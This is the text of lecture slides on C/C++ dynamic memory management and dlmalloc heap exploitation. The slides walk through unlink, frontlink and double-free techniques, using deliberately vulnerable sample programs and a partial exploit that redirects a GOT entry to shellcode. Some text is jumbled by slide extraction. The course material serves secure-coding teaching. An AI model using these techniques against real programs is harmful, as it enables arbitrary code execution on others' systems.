Dynamic Memory Management in C/C++
Dynamic Memory Management in C/C++
C++
Dynamic Memory
Management
Lecture 6
Acknowledgement: These slides are based on author Seacord’s original presentation
Issues
Dynamic Memory Management
Common Dynamic Memory Management Errors
Doug Lea’s Memory Allocator
Buffer Overflows (Redux)
Writing to Freed Memory
Double-Free
Mitigation Strategies
Notable Vulnerabilities
Dynamic Memory Management
Memory allocation in C:
calloc()
malloc()
realloc()
Deallocated using the free() function.
Memory allocation in C++
using the new operator.
Deallocated using the delete operator.
Memory Management Functions - 1
malloc(size_t size);
Allocates size bytes and returns a pointer to the
allocated memory.
The memory is not cleared.
free(void * p);
Frees the memory space pointed to by p, which must
have been returned by a previous call to malloc(),
calloc(), or realloc().
If free(p) has already been called before, undefined
behavior occurs.
If p is NULL, no operation is performed.
Methods to do Dynamic
Storage Allocation - 1
Best-fit method –
An area with m bytes is selected, where m is the
smallest available chunk of contiguous memory
equal to or larger than n.
First-fit method –
Returns the first chunk encountered containing n
or more bytes.
Prevention of fragmentation,
a memory manager may allocate chunks that are
larger than the requested size if the space
remaining is too small to be useful.
Methods to do Dynamic Storage
Allocation - 2
Memory managers
return chunks to the available space list as soon as
they become free and consolidate adjacent areas.
Boundary tags
Help consolidate adjoining chunks of free memory so
that fragmentation is avoided.
functions,
Failure to distinguish scalars and arrays,
zeros memory.
Initializing large blocks of memory can impact
1. int *i_ptr;
2. i_ptr =
(int*)malloc(sizeof(int)*nelements_wanted);
3. if (i_ptr != NULL) {
4. i_ptr[i] = i;
5. }
6. else {
/* Couldn't get the memory - recover */
7. }
Incorrect use of Standard new
Operator
Problem? Solution?
Referencing Freed Memory - 2
Reading from already freed memory almost
always succeeds without a memory fault,
because freed memory is recycled by the memory
manager.
There is no guarantee that the contents of the memory
has not been altered.
1. x = malloc(n * sizeof(int));
2. /* manipulate x */
3. free(x);
4. y = malloc(n * sizeof(int));
5. /* manipulate y */
6. free(x);
Dueling Data Structures - 1
b
Dueling Data Structures
If a program traverses each linked list freeing each
memory chunk pointer several memory chunks will
be freed twice.
The first four bytes of allocated chunks contain The first four bytes of free chunks contain
the last four bytes of user data of the previous the size of the previous chunk in the list.
chunk.
dlmalloc Memory Management
-2
Free chunks:
Are organized into double-linked lists.
Contain forward and back pointers to the next and previous
chunks in the list to which it belongs.
These pointers occupy the same eight bytes of memory as
user data in an allocated chunk.
The chunk size
is stored in the last four bytes of the free chunk,
enables adjacent free chunks to be consolidated
to avoid fragmentation of memory.
dlmalloc Memory Management
-3
PREV_INUSE bit
Allocated and free chunks make use of it to indicate
whether the previous chunk is allocated or not.
Since chunk sizes are always two-byte multiples, the size
of a chunk is always even and the low-order bit is unused.
This bit is stored in the low-order bit of the chunk size.
If the PREV_INUSE bit is clear,
the four bytes before the current chunk size contain the
size of the previous chunk and
can be used to find the front of that chunk.
dlmalloc Memory Management
-4
In dlmalloc:
Free chunks are arranged in circular double-linked lists or
bins.
Each double-linked list has a head that contains forward
and back pointers to the first and last chunks in the list.
The forward pointer in the last chunk of the list and the
back pointer of the first chunk of the list both point to the
head element.
When the list is empty, the head’s pointers reference the
head itself.
Free List Double-linked
Structure
Forward pointer to first chunk in list Size or last 4 bytes of prev.
Back pointer to last chunk in list Size 1
Forward pointer to next
Back pointer to prev.
head Unused space
element
Size
:
Size or last 4 bytes of prev.
Size 1
Forward pointer to next
Back pointer to prev.
Unused space
Size
:
Size or last 4 bytes of prev.
Size 1
Forward pointer to next
Back pointer to prev.
:
dlmalloc - 1
Each bin holds chunks of a particular size so that a
correctly-sized chunk can be found quickly.
For smaller sizes, the bins contain chunks of one
size.
For bins with different sizes, chunks are arranged in
descending size order.
There is a bin for recently freed chunks that acts like
a cache.
Chunks in this bin are given one chance to be reallocated
before being moved to the regular bins.
dlmalloc - 2
Chunks are consolidated during free() operation.
If the chunk located immediately before the chunk to
be freed is free,
it is taken off its double-linked list and consolidated with the
chunk being freed.
If the chunk located immediately after the chunk to be
freed is free,
it is taken off its double-linked list and consolidated with the
chunk being freed.
The resulting consolidated chunk is placed in the
appropriate bin.
The unlink Macro
666 bytes
:
2nd chunk
:
Size of chunk = 12 1
12 bytes
:
3rd chunk
:
?? Bytes
:
Malicious Argument used in unlink
Technique
First Chunk
680 bytes
Second Chunk
4 bytes 4 bytes 4 bytes 4 bytes
… even int -4 fp-12 addr \0
prev size fd bk
size
Code Vulnerable to an Exploit
Using the unlink Technique - 6
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char *argv[]) {
4. char *first, *second, *third;
5. first = malloc(666);
6. second = malloc(12);
7. third = malloc(12);
8. strcpy(first, argv[1]);
9. free(first); This argument overwrites the previous
10. free(second); size field, size of chunk, and forward
11. free(third); and backward pointers in the second
12. return(0); chunk— altering the behavior of the call
13. } to free()
Code Vulnerable to an Exploit
Using the unlink Technique - 7
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char *argv[]) {
4. char *first, *second, *third;
5. first = malloc(666);
6. second = malloc(12);
7. third = malloc(12);
8. strcpy(first, argv[1]);
9. free(first); The size field in the second chunk is
overwritten with the value -4 so that when
10. free(second); free() attempts to determine the location of
11. free(third); the third chunk by adding the size field to the
12. return(0); starting address of the second chunk, it
13. } instead subtracts 4
Code Vulnerable to an Exploit
Using the unlink Technique - 8
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char *argv[]) {
4. char *first, *second, *third;
5. first = malloc(666);
6. second = malloc(12);
7. third = malloc(12);
8. strcpy(first, argv[1]);
9. free(first); Doug Lea’s malloc now mistakenly believes
that the start of the next contiguous chunk is
10. free(second);
4 bytes before the start of the second
11. free(third); chunk.
12. return(0);
13. }
Code Vulnerable to an Exploit
Using the unlink Technique - 9
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char *argv[]) {
4. char *first, *second, *third;
5. first = malloc(666);
6. second = malloc(12);
7. third = malloc(12);
The malicious argument makes sure that
8. strcpy(first, argv[1]);
the location where dlmalloc finds the
9. free(first); PREV_INUSE bit is clear, tricking dlmalloc
10. free(second); into believing the second chunk is
11. free(third); unallocated—so the free() operation
invokes the unlink() macro to consolidate
12. return(0); the two chunks
13. }
Memory in Second Chunk - 1
even int
-4 0
fd = FUNCTION_POINTER - 12
The first line of unlink, FD = P->fd,
bk = CODE_ADDRESS
assigns the value in P->fd (which has
remaining space
been provided as part of the malicious
argument) to FD
Size of chunk
Memory in Second Chunk - 2
even int
-4 0
fd = FUNCTION_POINTER - 12
even int
Size of chunk
The unlink() Macro - 1
The unlink() macro writes four bytes of data supplied
by an attacker to a four-byte address also supplied
by the attacker.
Once an attacker can write four bytes of data to an
arbitrary address, it is easy to execute arbitrary code
with the permissions of the vulnerable program.
An attacker can provide the address of the
instruction pointer on the stack and use the unlink()
macro to overwrite the address with the address of
malicious code.
The unlink() Macro - 2
An attacker can:
overwrite the address of a function called by the vulnerable
program with the address of malicious code.
examine the executable image to find the address of the jump
slot for the free() library call.
The address - 12 is included in the malicious
argument so that the unlink() method overwrites
the address of the free() library call with the
address of the shellcode.
The shellcode is then executed instead of the call to
free().
Frontlink Technique - 1
these four bytes are the last four bytes of the first
chunk.
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 2
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]); When the fifth chunk is
13. free(fifth); freed it is put into a bin
14. strcpy(fourth, argv[1]);
15. free(second);
16. return(0);
17. }
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 3
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12); The fourth chunk in
9. fourth = malloc(666); memory is seeded with
10. fifth = malloc(1508); carefully crafted data
11. sixth = malloc(12); (argv[1]) so that it
12. strcpy(first, argv[2]); overflows.
13. free(fifth);
14. strcpy(fourth, argv[1]); The address of a fake
15. free(second);
16. return(0); chunk is written into the
forward pointer of the
17. }
fifth chunk.
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 4
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500); This fake chunk contains the
8. third = malloc(12); address of a function pointer
9. fourth = malloc(666); (minus 12) in the location
10. fifth = malloc(1508); where the back pointer is
11. sixth = malloc(12); normally found.
12. strcpy(first, argv[2]);
13. free(fifth); A suitable function pointer is
14. strcpy(fourth, argv[1]); the first destructor function
15. free(second); stored in the .dtors section of
16. return(0); the program.
17. }
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 5
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]);
13. free(fifth); An attacker can discover
14. strcpy(fourth, argv[1]); this address by
15. free(second); examining the
16. return(0);
17. } executable image.
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 6
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]); When the second chunk is
13. free(fifth); freed, the frontlink() code
14. strcpy(fourth, argv[1]); segment inserts it into the
15. free(second); same bin as the fifth chunk
16. return(0);
17. }
The frontlink Code Segment - 1
1. BK = bin; Second is smaller
2. FD = BK->fd; than fifth
3. if (FD != BK) {
4. while (FD != BK && S < chunksize(FD)) {
5. FD = FD->fd;
6. }
The While loop is
7. BK = FD->bk;
executed in the frontlink()
8. } code segment (lines 4-6)
9. P->bk = BK;
10. P->fd = FD;
11. FD->bk = BK->fd = P;
The frontlink Code Segment - 2
1. BK = bin;
2. FD = BK->fd;
3. if (FD != BK) {
4. while (FD != BK && S < chunksize(FD)) {
5. FD = FD->fd;
6. }
The forward pointer of
7. BK = FD->bk;
the fifth chunk is stored
8. }
in the variable FD
9. P->bk = BK;
10. P->fd = FD;
11. FD->bk = BK->fd = P;
The frontlink Code Segment - 3
1. BK = bin;
2. FD = BK->fd;
3. if (FD != BK) {
4. while (FD != BK && S < chunksize(FD)) {
5. FD = FD->fd;
6. }
7. BK = FD->bk;
8. } The back pointer of this fake
9. P->bk = BK; chunk is stored in the variable BK
10. P->fd = FD;
11. FD->bk = BK->fd = P;
The frontlink Code Segment - 4
1. BK = bin;
2. FD = BK->fd;
3. if (FD != BK) {
4. while (FD != BK && S < chunksize(FD)) {
5. FD = FD->fd;
6. }
7. BK = FD->bk;
8. }
9. P->bk = BK;
BK now contains the address
10. P->fd = FD;
of the function pointer
11. FD->bk = BK->fd = P;
The function pointer is
overwritten by the address of
the second chunk.
Sample Code Vulnerable to an Exploit using the
frontlink Technique - 7
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]);
13. free(fifth);
14. strcpy(fourth, argv[1]);
15. free(second); The call of return(0)
causes the program’s
16. return(0); destructorfunction to be
17. } called, but this executes
the shellcode instead.
Double-Free Vulnerabilities
User data
:
Bin with Single Free Chunk
5. int main(void){
6. int size = sizeof(shellcode);
7. void *shellcode_location;
8. void *first,*second,*third,*fourth,*fifth,*sixth;
9. shellcode_location = (void *)malloc(size);
10. strcpy(shellcode_location, shellcode);
11. first = (void *)malloc(256);
12. second = (void *)malloc(256);
13. third = (void *)malloc(256); write to the first chunk on lines 18-
14.
15.
fourth = (void *)malloc(256);
free(first);
19 after it has been freed on line 15.
16. free(third);
17. fifth = (void *)malloc(128);
18. *((void **)(first+0)) = (void *)(GOT_LOCATION-12);
19. *((void **)(first+4)) = (void *)shellcode_location;
20. sixth = (void *)malloc(256);
21. strcpy(fifth, "something");
22. return 0;
23. }
Writing to Freed Memory
The setup is exactly the same as the double-
free exploit.